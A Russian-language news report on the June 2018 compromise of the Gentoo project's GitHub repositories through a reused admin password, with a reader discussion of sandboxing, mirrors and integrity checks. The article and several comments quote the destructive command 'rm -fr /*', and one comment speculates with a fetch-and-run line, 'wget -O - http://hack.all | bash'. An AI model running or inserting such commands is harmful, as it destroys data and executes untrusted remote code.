The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Взломана инфраструктура проекта Gentoo на GitHub

29.06.2018 08:32

28 июня приблизительно в 20:20 UTC неустановленные лица получили контроль над GitHub-инфраструктурой проекта Gentoo и изменили содержимое репозиториев и некоторых страниц. Разработчики и мейнтейнеры пока занимаются определением масштаба внесённых изменений и возвращением контроля над репозиториями. Действия злоумышленников, получивших доступ к GitHub-репозиториям Gentoo, носили явно вредоносный характер, например, один из добавленных после взлома коммитов помещал во все ебилды команду "rm -fr /*".

Весь код проекта, размещённый на GitHub, на данный момент может считаться скомпрометированным, но это не касается кода, размещённого на собственной инфраструктуре проекта Gentoo. GitHub использовался лишь для зеркалирования, а первичный репозиторий ebuild был размещён на собственных серверах, таким образом допускается использовать rsync или webrsync с gentoo.org. Также не пострадали репозитории gentoo-mirror, которые были привязаны к отдельной учётной записи на Github. Все коммиты были подписаны, поэтому при использовании git следует обращать на эти подписи внимание.

Утром (04:26 UTC) контроль за репозиториями Gentoo в GitHub был восстановлен и в настоящее время совместно с сотрудниками GitHub проводится разбор инцидента и восстановление данных. При этом использовать код Gentoo на GitHub всё ещё не рекомендуется.

Дополнение: Опубликован отчёт с изложением хронологии событий. Злоумышленникам удалось получить пароль от учётной записи администратора репозитория на GitHub путём сопоставления с данными о паролях, полученных в результате утечки базы пользователей на стороннем сайте (администратор использовал одинаковые пароли на разных сайтах). Целостность GitHub-репозиториев в настоящее время полностью восстановлена. Десткруктивные изменения находились в репозиториях gentoo/gentoo, gentoo/musl и gentoo/systemd около 10 часов.

  1. Главная ссылка к новости (https://archives.gentoo.org/ge...)
  2. OpenNews: Сайт консорциума ISC, развивающего BIND и DHCP, подвергся взлому
  3. OpenNews: Второй взлом инфраструктуры BitTorrent-клиента Transmission
  4. OpenNews: Взломан официальный форум проекта Ubuntu
  5. OpenNews: Итоговые результаты расследования взлома сайта OpenSSL
  6. OpenNews: Взлом аккаунта на Github привёл к модификациии ПО криптовалюты Syscoin
Автор новости: A.Stahl
Тип: Проблемы безопасности
Ключевые слова: gentoo, hack
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение (99) Ajax | 1 уровень | Линейный | Раскрыть всё | RSS
  • 1.1, Аноним (1), 09:20, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +21 +/
    Стоило, значит, продаться, и вот...
     
     
  • 2.7, Аноним (7), 09:34, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    https://www.opennet.ru/opennews/art.shtml?num=48715
     

  • 1.2, Аноним (2), 09:24, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +6 +/
    Граждане храните свой код в gitlab кассе..., если конечно он у вас есть...
    Где-то примерно так получается
     
     
  • 2.46, Аноним (46), 11:36, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Угу, можно подумать GitLab не взламывали.

    Граждане, храните ваш код на собственном сервре с какой-нибудь Gitea мордой!

     
     
  • 3.50, utoplenick (ok), 12:18, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    gitlab можно и на свой сервер поставить
     
     
  • 4.52, Аноним (52), 12:54, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +5 +/
    чтобы его там взломали
     
  • 2.78, Аноним (78), 18:09, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    А мне BitBucket больше нравится
     
     
  • 3.84, Инсайдер (?), 23:43, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    "У богатых свои причуды".
    https://cdn.fishki.net/upload/post/2018/04/06/2561237/tn/4-0.jpg
     
  • 2.93, ptr (??), 11:02, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Граждане храните свой код в gitlab

    Свой код храним в SVN. Сборка по трекингу коммитов в Redmine. Ничего не имею против GIT, но для совего кода, а не комьюнити, централизированный SVN однозначно надежней.

     

  • 1.3, Аноним (-), 09:25, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    После известных событий, Github открыл охоту на опенсорс.
     
  • 1.6, An (??), 09:33, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    > во все ебилды команду "rm -fr /*"

    Ребята не мелочатся

     
     
  • 2.8, A.Stahl (ok), 09:36, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +12 +/
    Есть ничем не потверждённое мнение, что этот коммит сделан для отвода глаз, чтобы всё выглядело как баловство кали-детишек. А настоящая цель взлома запрятана куда хитрее.
     
     
  • 3.10, Ano (?), 09:43, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Очень может даже быть
     
     
  • 4.11, kvaps (ok), 09:56, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Я вот не понимаю это же гит, он и запушить то не даст если дерево хоть как то изменилось.
    Ну и если этот репо просто зеркало, то неужели не достаточно diff с оригинальным репозиторием сделать, тогда точно все изменения отобразятся.
     
     
  • 5.18, Аноним (-), 10:13, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > Я вот не понимаю

    А ты попробуй пойми. Не всё лежит на поверхности. Ведь главное - это не статичная картина последствий, diff сделают, не волнуйся. А интервал компрометации сервера, когда зловредный код распространяется, вероятно, тразитом, на разный узлы.

    Какир добавляет "wget -O - http://hack.all | bash" в код ебилдов. Какое-то количество хостов заражены и начинают творить дела. Какир ребейзит, заменяет wget-коммит на хулиганский "rm -rf", делает housekeeping на сервере, еще какие-нибудь манипуляции, и, вероятно, в репах не остается следов первоначальной деятельности.

    Куча вариантов

     
     
  • 6.85, Michael Shigorin (ok), 00:01, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Какир ребейзит, заменяет wget-коммит на хулиганский "rm -rf", делает
    > housekeeping на сервере, еще какие-нибудь манипуляции, и, вероятно,
    > в репах не остается следов первоначальной деятельности.

    Сломав rebase -i и не сделав заранее старый добрый тарбол, засаживаюсь смотреть git reflog -- там следов есть.

     
     
  • 7.99, anonymous (??), 20:49, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Я тоже всегда ищу под фонарем. Там светлее.
     
  • 7.112, Аноним (112), 19:40, 28/11/2018 [^] [^^] [^^^] [ответить]  
  • +/
    reflog - это локальная штука, reflog какира посмотреть не получится
     
  • 5.23, Юрий (??), 10:27, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Зачем вообще diff делать, залейте по новому свежую ветку и всё!!!
     
     
  • 6.33, A.Stahl (ok), 10:45, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Видимо есть желание не просто восстановить инфраструктуру, но и разобраться в причинах ситуации и в целях злоумышленников.
     
     
  • 7.35, Юрий (??), 10:51, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Видимо есть желание не просто восстановить инфраструктуру, но и разобраться в причинах
    > ситуации и в целях злоумышленников.

    Залить рабочую на гит, а копию повреждённой потом изучай.

     
  • 5.64, Аноним (64), 14:41, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > он и запушить то не даст если дерево хоть как то изменилось

    На жидхабе можно включить перезапись коммитов и сделать git push --force ;)

     
  • 4.104, Наркоманка (?), 16:48, 02/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Да все ок там. Просто ради прикола пару echo добавили тут и там. Рекомендую загрузить и самим посмотреть через выполнение кода
     
  • 3.20, Аноним (20), 10:21, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Эта репа на гитхабе была исключительно для приёма pull-реквестов, причем PR-ы нельзя было мержить через гитхаб - изменения пропадали при следующем синке репы. :)

    PS. Правда помимо дерева ебилдов на аккаунте были еще какие-то репозитории, но навскидку даже не вспомню какие.

     
  • 3.22, Аноним (22), 10:24, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    ...и какая же?...
     
  • 3.28, Crazy Alex (ok), 10:37, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Там же подписи, ничего не спрячешь
     
  • 2.15, dksbmjdrh (?), 10:08, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +8 +/
    точно микрософт!
    линуксоиды не забыли бы добавить --no-preserve-root
     
     
  • 3.27, Аноним (27), 10:36, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +4 +/
    --no-preserve-root не нужен при удалении всех файдов без самого корня (/*).
     
  • 2.19, Внимательно читающий (?), 10:20, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    И это в ебилдах работает? Топорно, глупо и по-детски. Добавили бы хоть что-то вредное в цель. Может тогда у вредителей стала видна капля интелекта. А так - безумные вандалы.
     
     
  • 3.32, nrndda (ok), 10:45, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Это сработает, если стоит nosandbox в make.conf, что не так по умолчанию, а так же если кто-то ставит ебилды ручками из-под рута "ebuild *.ebuild merge". В остальных случаях подобные ебилды тупо удалят старые файлы и не поставят ничего, либо вообще свалятся на стадии install с ошибкой sandbox violation. Даже нормальные ебилды порой поставить нельзя, если какой-то код хочет что-то прочитать из /.
    Так что делал либо дилетант, либо наоборот знающий, но не желающий нанести реального вреда.
     
     
  • 4.40, Аноним (20), 10:59, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Тут смотря в какую фазу был добавлен rm -rf /. В фазах pkg_* (например pkg_postinst) оно бы сработало.
     
     
  • 5.43, Внимательно читающий (?), 11:24, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Эти ...гм... вставили первой строкой в каждый ебилд.
     
     
  • 6.48, Аноним (20), 11:50, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Тогда код по идее тоже должен выполниться от рута и без песочницы. Но надо проверять.
     
     
  • 7.70, J.L. (?), 15:21, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    > Тогда код по идее тоже должен выполниться от рута и без песочницы.
    > Но надо проверять.

    //очередное напоминание линуксойдам
    как там доверие к репозиториям поживает? пакеты всё ещё правильно ставить от рута и запускать прост/пред-инстал скрипты?

     
     
  • 8.71, Аноним (71), 15:48, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Но ведь репозитории как раз и не пострадали ... текст свёрнут, показать
     
     
  • 9.72, J.L. (?), 15:56, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    везение или недосмотр ... текст свёрнут, показать
     
     
  • 10.86, Michael Shigorin (ok), 00:02, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Непонимание разницы между первоисточником и зеркалом, соответственно и между их ... текст свёрнут, показать
     
     
  • 11.98, J.L. (?), 13:53, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    тоесть то, что тому админу после поблочили учётки на всех серверах вы считаете п... текст свёрнут, показать
     
  • 8.92, слакварщик (?), 10:59, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Ты умееешь ставить пакеты в не от рута Или у тебя пакеты тарболлы ... текст свёрнут, показать
     
     
  • 9.96, J.L. (?), 13:40, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    чисто из любопытства а зачем вам firefox в руте ... текст свёрнут, показать
     
     
  • 10.97, J.L. (?), 13:45, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    nix например умеет ставить не в рут но пока инструкция установки для линукса буд... текст свёрнут, показать
     
  • 10.108, нах (?), 14:48, 03/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    хотя бы банально для того, чтобы не каждый, вызвавший в нем remote code exec, мо... текст свёрнут, показать
     
     
  • 11.111, JL2001 (ok), 09:42, 10/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    я не живу всё в хомяк , и фокс от другого юзера но в пакетной системе при устан... текст свёрнут, показать
     

  • 1.9, Gentoo Developer (?), 09:38, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Сатанизм какой-то. Оставьте нас в покое. У нас и так мало времени, еще и гитхаб восстанавливать.
     
     
  • 2.14, Аноним (-), 10:04, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Очередное напомниание о том, что "безопасность" - это не просто фантом. Мы не должны это забывать.

    Например, есть люди, говорящие, мол меня не парят уязвимости Spectre, у меня доверенные вычисления на сервере, мне нечего терять. Но это порочная практика. Никогда не знаешь, куда всё это выльется.

    Еще, например, есть люди, умелые разработчики, которые до сих пор борятся с банальным ssh-доступом - вводят короткие пароли, использует одни и те же из них в разных хостах. Надо такое исправлять, и помогать, и наказывать.

    Да куча примеров. Вплоть до хранения паролей в непроверенных приложениях на мобилках, которые с радостью все эти данные утаскивают непонятно куда.

     
     
  • 3.31, Crazy Alex (ok), 10:41, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Наоборот - надо чётко понимать, от чего именно прикрываешься, и использовать соответствующие меры. Иначе можно сразу компьютер разносить молотком (и сжечь для надёжности), чтобы уж точно ничего не утекло
     
     
  • 4.41, Аноним (-), 11:09, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > надо чётко понимать, от чего именно прикрываешься

    Это да, +1

    Затягивание гаек по безопасности там, где не требуется, наносит удар по этой безопасности.

     
  • 2.25, Внимательно читающий (?), 10:29, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Да, так мало времени, что в новости не стали указывать о блокировании аккаунтов? Это какой надо было получить доступ чтобы такие действия провести?
     

  • 1.13, Аноним (13), 10:03, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    >это не касается кода, размещённого на собственной инфраструктуре проекта Gentoo.

    А пруф будет? Ведь если это перепивший админ или злоумышленник, завладевший паролем админа, напр. с помощью трояна, то он может и там навредить.

     
     
  • 2.63, Аноним (63), 14:41, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Админа, чей пароль утёк, уже установили и заблокировали.
     

  • 1.21, Клыкастый (ok), 10:22, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    некоторое время ебилдов не ждите
     
     
  • 2.24, Аноним (20), 10:28, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    > некоторое время ебилдов не ждите

    Да ну?
    https://gitweb.gentoo.org/repo/gentoo.git/

     
     
  • 3.57, Клыкастый (ok), 13:51, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +3 +/
    (насыпает Анониму горсть чувства юмора)
     
  • 2.29, Анонимист (?), 10:39, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Нельзя не ждать ебилдов. В этом смысл жызни.
     
     
  • 3.58, Клыкастый (ok), 13:55, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > Нельзя не ждать ебилдов. В этом смысл жызни.

    Мы не можем ждать ебилдов от мейнтейнеров. Написать их - наша задача. (В.И.Ленин)


     

  • 1.30, Аноним (30), 10:40, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Началось. Ждем ответного удара по ауру.
     
  • 1.34, Crazy Alex (ok), 10:46, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Кстати, я вчера с гитхаба обновлял ебилды существенно раньше 20:00 UTC, и прилетела неожиданно большая гора обновлений - что-то около 30 метров качало, 140000 объектов. Надо хоть глянуть, что ли...
     
     
  • 2.45, Внимательно читающий (?), 11:29, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Но в тот момент это не вызывало особых подозрений?
     
     
  • 3.88, Crazy Alex (ok), 00:43, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Вызвало, так что обновляться не стал, решил посмотреть поподробнее, когда будет время. А потом пришло письмо о взломе.
     
  • 2.68, yep (?), 15:11, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    > Кстати, я вчера с гитхаба обновлял ебилды существенно раньше 20:00 UTC, и
    > прилетела неожиданно большая гора обновлений - что-то около 30 метров качало,
    > 140000 объектов. Надо хоть глянуть, что ли...

    Зачем ты обновлял ebuild'ы  c репозитория для разработки? Он не предназначен для обновления с него.

     
     
  • 3.80, A (?), 20:51, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Обновления ради разработки. Не?
     
     
  • 4.81, yep (?), 20:58, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    > Обновления ради разработки. Не?

    Ты с них систему обновляешь? Не надо так делать. Этот реп не для обновления дерева.

     
  • 3.89, Crazy Alex (ok), 00:45, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Проверил - нет, не настолько плох, обновлялся с https://github.com/gentoo-mirror/gentoo - но тогда не особо понятно, откуда такой объём. Буду глядеть.
     
     
  • 4.90, yep (?), 02:09, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    я пока на всякий случай на обновления через rsync вернулся,

    а насчёт многих обновлений, глянь, может это из-за того, что python_targets_python3_6 для кучи пакетов добавили

     
  • 4.91, yep (?), 09:28, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    https://www.gentoo.org/news/2018/06/28/Github-gentoo-org-hacked.html

    тут ещё раз подтверждают, что gentoo-mirror не был подвержен аьаке

     

  • 1.37, шутник (?), 10:55, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Насамом деле, мелкософт действительно хотел лишь помочь, но что-то пошло не так.
     
     
  • 2.42, Аноним (42), 11:10, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    А получилось как всегда?
     
     
  • 3.49, шутник (?), 12:17, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >А получилось как всегда?

    Да (загадочно подмигивая, опустив при этом голову).

     
  • 2.47, 1 (??), 11:36, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +8 +/
    там просто после rm -rf /* был запуск установщика 10-чки ...
    Но setup.exe не запустился без wine
     

  • 1.53, danonimous (?), 13:15, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Жесть, вообще. Как раз читаю уже несколько дней Gentoo Handbook, собираюсь накатить на сервер с коллекцией моих фотографий и других файлов, накопленных за всю жизнь.
    Вот где rm /* -rf натворило бы дел!
     
     
  • 2.56, Аноним (56), 13:39, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    При установке gentoo по handbook скомпрометированные ебилды с жидхаба в систему бы не попали: жидхабовские репозитории при этом никак не используются.

    Но при установке по хендбуку есть более серьёзные проблемы: ебилды синхронизируются по незащищённому протоколу и без проверки целостности, что позволяет их незаметно подменять на любом зеркале. Разработчики давно в курсе, но молчат.
    https://wiki.gentoo.org/wiki/Handbook_Talk:AMD64/Installation/Stage#Portage_and_stage3_security_recommendations

     
     
  • 3.59, Аноним (59), 14:05, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > ебилды синхронизируются по незащищённому протоколу и без проверки целостности

    Это уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас производится по умолчанию.

     
     
  • 4.73, Аноним (56), 16:01, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > При синхронизации через rsync проверка целостности сейчас производится по умолчанию.

    Каким образом? Только что распаковал последний стаж, там sys-apps/portage собран без флага rsync-verify, а gemato, gpg и публичные ключи репозиториев отсутствуют.

    Проверка по умолчанию производилась с 2018-01-30 по 2018-03-13, после чего из-за выявленных проблем была отключена, см. eselect news list и https://bugs.gentoo.org/650144.

     
     
  • 5.76, Аноним (59), 16:43, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    > Каким образом? Только что распаковал последний стаж, там sys-apps/portage собран без флага rsync-verify, а gemato, gpg и публичные ключи репозиториев отсутствуют.

    Ха! А стейджи действительно собраны без rsync-verify.

    $ tar xOf stage3-amd64-20180624T214502Z.tar.xz ./var/db/pkg/sys-apps/portage-2.3.40-r1/USE
    abi_x86_64 amd64 elibc_glibc ipc kernel_linux native-extensions python_targets_python2_7 python_targets_python3_5 userland_GNU xattr

    > Проверка по умолчанию производилась с 2018-01-30 по 2018-03-13, после чего из-за выявленных проблем была отключена, см. eselect news list и https://bugs.gentoo.org/650144.

    Они её уже включили обратно, но стейджи почему-то до сих пор собирают без rsync-verify.

     
     
  • 6.82, gentoo (?), 22:07, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    мы пятнадцать лет так собирали, и так раздавали, проверками озаботились вот, на днях - и ничего, вас это не беспокоило. Стоило откатить ненадолго неудачный патч - а-а-а, хулиганы байтиков лишают...или добавляют, не суть.

     
  • 4.94, слакварщик (?), 11:14, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    >> ебилды синхронизируются по незащищённому протоколу и без проверки целостности
    > Это уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас
    > производится по умолчанию.

    Не синхронизируй их при установке ;)

     
  • 4.101, yep (?), 02:17, 02/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    >> ебилды синхронизируются по незащищённому протоколу и без проверки целостности
    > Это уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас
    > производится по умолчанию.

    У меня она второй день при обновлении через rsync не проходит, обязательно для какого-то ebuild контрольная сумма не совпадёт. Но такое бывало и раньше изредка.

     
     
  • 5.109, SysA (?), 17:41, 03/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    >>> ебилды синхронизируются по незащищённому протоколу и без проверки целостности
    >> Это уже неактуальная информация. При синхронизации через rsync проверка целостности сейчас
    >> производится по умолчанию.
    > У меня она второй день при обновлении через rsync не проходит, обязательно
    > для какого-то ebuild контрольная сумма не совпадёт. Но такое бывало и
    > раньше изредка.

    Это бывает, когда напоролся на параллельное обновление. В таком случае надо повторить синхронизацию. Если же это не помогает - тогда разбираться!

     
  • 3.65, danonimous (?), 14:47, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Написано, что github использовался также для зеркалирования - это что имеется в виду?
    Gentoo же при соответсвующей настройке может синхронизировать репозиторий не с главного сервера, а с одного из зеркал.

    В любом случае ещё не до конца понятен масштаб бедствия, если злоумышленник из бывших разработчиков, то и основные сервера могут иметь необнаруженные взломы.

     
     
  • 4.69, yep (?), 15:18, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +4 +/
    > Написано, что github использовался также для зеркалирования - это что имеется в
    > виду?

    Имеется ввиду, что данное зеркало предназначалось для разработчиков, в том числе для размещения там pull requests и их обсуждения. То есть пользователи не должны были обновляться именно с этого зеркала (оно не содержит Metadata с контрольными суммами архивов и самих ebuld'ов). Но некоторые зачем-то обновляются с него.

    Для обновления через github обычно использовалось другое зеркало https://github.com/gentoo-mirror

    > Gentoo же при соответсвующей настройке может синхронизировать репозиторий не с главного
    > сервера, а с одного из зеркал.
    > В любом случае ещё не до конца понятен масштаб бедствия, если злоумышленник
    > из бывших разработчиков, то и основные сервера могут иметь необнаруженные взломы.

    Ходят слухи, что тот у кого увели аккаунт во всех инфраструктуре доступ заблокировали в данный момент.


     
     
  • 5.75, danonimous (?), 16:26, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Т.е. оно и было выбрано для добавления rm -rf /* из-за отсутствия контрольных сумм?
    Понятно, спасибо за разъяснение!
     
     
  • 6.77, yep (?), 16:53, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +/
    Можно и контрольные суммы было б подменить, если б они там лежали, но пришлось бы для каждого подправленного ebuild их править или запускать repoman. С этого зеркало дерево на рабочих машинах не предполагается обновлять.

    То есть обычно с него тянут себе репозиторий для внесения изменений и закидывания их обратно для рассмотрения.

     
  • 5.95, слакварщик (?), 11:20, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +/

    > Имеется ввиду, что данное зеркало предназначалось для разработчиков, в том числе для
    > размещения там pull requests и их обсуждения. То есть пользователи не
    > должны были обновляться именно с этого зеркала (оно не содержит Metadata
    > с контрольными суммами архивов и самих ebuld'ов). Но некоторые зачем-то обновляются
    > с него.

    Не для разработчиков, у девов есть коммит. Для юзеров, заместо багзиллы

     
     
  • 6.100, yep (?), 02:15, 02/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    >> Имеется ввиду, что данное зеркало предназначалось для разработчиков, в том числе для
    >> размещения там pull requests и их обсуждения. То есть пользователи не
    >> должны были обновляться именно с этого зеркала (оно не содержит Metadata
    >> с контрольными суммами архивов и самих ebuld'ов). Но некоторые зачем-то обновляются
    >> с него.
    > Не для разработчиков, у девов есть коммит. Для юзеров, заместо багзиллы

    Что есть? Девелоперы имеющие права коммитить в webgit.gentoo.org могут коммитить туда, но есть девелоперы без такого права и всё что им остаётся: отправлять коммиты письмами (или ebuild) или оставлять pull request на github.

     
     
  • 7.107, Клыкастый (ok), 14:39, 03/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    > и всё что им остаётся: отправлять коммиты письмами (или ebuild) или оставлять pull request на github.

    сколько безысходности в этой фразе... а тут ещё PR на GH не отправишь... жесть какая...


     
  • 2.102, yep (?), 02:21, 02/07/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Жесть, вообще. Как раз читаю уже несколько дней Gentoo Handbook, собираюсь накатить
    > на сервер с коллекцией моих фотографий и других файлов, накопленных за
    > всю жизнь.
    > Вот где rm /* -rf натворило бы дел!

    Не натворил бы: portage, емнип, не допускает запуска bash команд снаружи функций в ebuild-скриптах.

     
     
  • 3.110, JL2001 (ok), 09:34, 10/07/2018 [^] [^^] [^^^] [ответить]  
  • +/
    >> Жесть, вообще. Как раз читаю уже несколько дней Gentoo Handbook, собираюсь накатить
    >> на сервер с коллекцией моих фотографий и других файлов, накопленных за
    >> всю жизнь.
    >> Вот где rm /* -rf натворило бы дел!
    > Не натворил бы: portage, емнип, не допускает запуска bash команд снаружи функций
    > в ebuild-скриптах.

    а тут говорят что допускает
    https://www.opennet.ru/openforum/vsluhforumID3/114710.html#40

     

  • 1.55, Аноним (55), 13:25, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Вот поэтому я не доверяю новомодным дистрибутивам и мелкомягким. Вечно с ними куча проблем и никогда не поймешь кто виноват.
     
     
  • 2.62, имя (?), 14:39, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >новомодным дистрибутивам

    небось лфс конпеляешь по ночам?

     
     
  • 3.106, . (?), 14:11, 03/07/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    шлакваре - сказано же, новомодным не доверяет. Твой lfs, если верить викивракии, сляпали в 99м, то есть он всего на пол-года старше генты - олдовые сисадмины на такой модный шлак не ведутся.

     

  • 1.60, user90 (?), 14:10, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    А в новостях-то.. "киберпреступники", "хакеры" :) Но по исполнению похоже на обычную школоту. Кстати "взломали" тоже некорректно пока нет подробностей.
     
     
  • 2.74, Клыкастый (ok), 16:04, 29/06/2018 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Иногда то, что лежит на поверхности - это только лишь то, что лежит на поверхности.
     

  • 1.61, кочегар духовки (?), 14:20, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Там они(?) еще и на freenode прыгнули.
    https://freenode.net/news/security-update-rpa
     
  • 1.66, Аноним (66), 15:06, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    https://i.imgur.com/meklXMw.jpg
     
  • 1.67, VINRARUS (ok), 15:08, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • –7 +/
    >rm -fr /*

    Видимо французы не любят Генту. Странно, думал они любители всяких извращений.

     
  • 1.79, Аноним (79), 18:28, 29/06/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    микрософт как никак
     
     
  • 2.87, Michael Shigorin (ok), 00:08, 30/06/2018 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > микрософт как никак

    Да ладно, на первый раз же случайность ;-)  Совпадение и закономерность -- два последующих этапа.

     

  • 1.103, runoverheads (ok), 11:36, 02/07/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > "rm -fr /*"

    ничего не произойдёт.
    в генту ебилды и сборка выполняются в chroot и sandbox'е специально на такие случаи. а то запилит какой-нибудь вася rm -rf в свой make

     
  • 1.105, Аноним (105), 19:19, 02/07/2018 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Подробности компроментации не всплыли?
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Спонсоры:
    Слёрм
    Inferno Solutions
    Hosting by Ihor
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2019 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру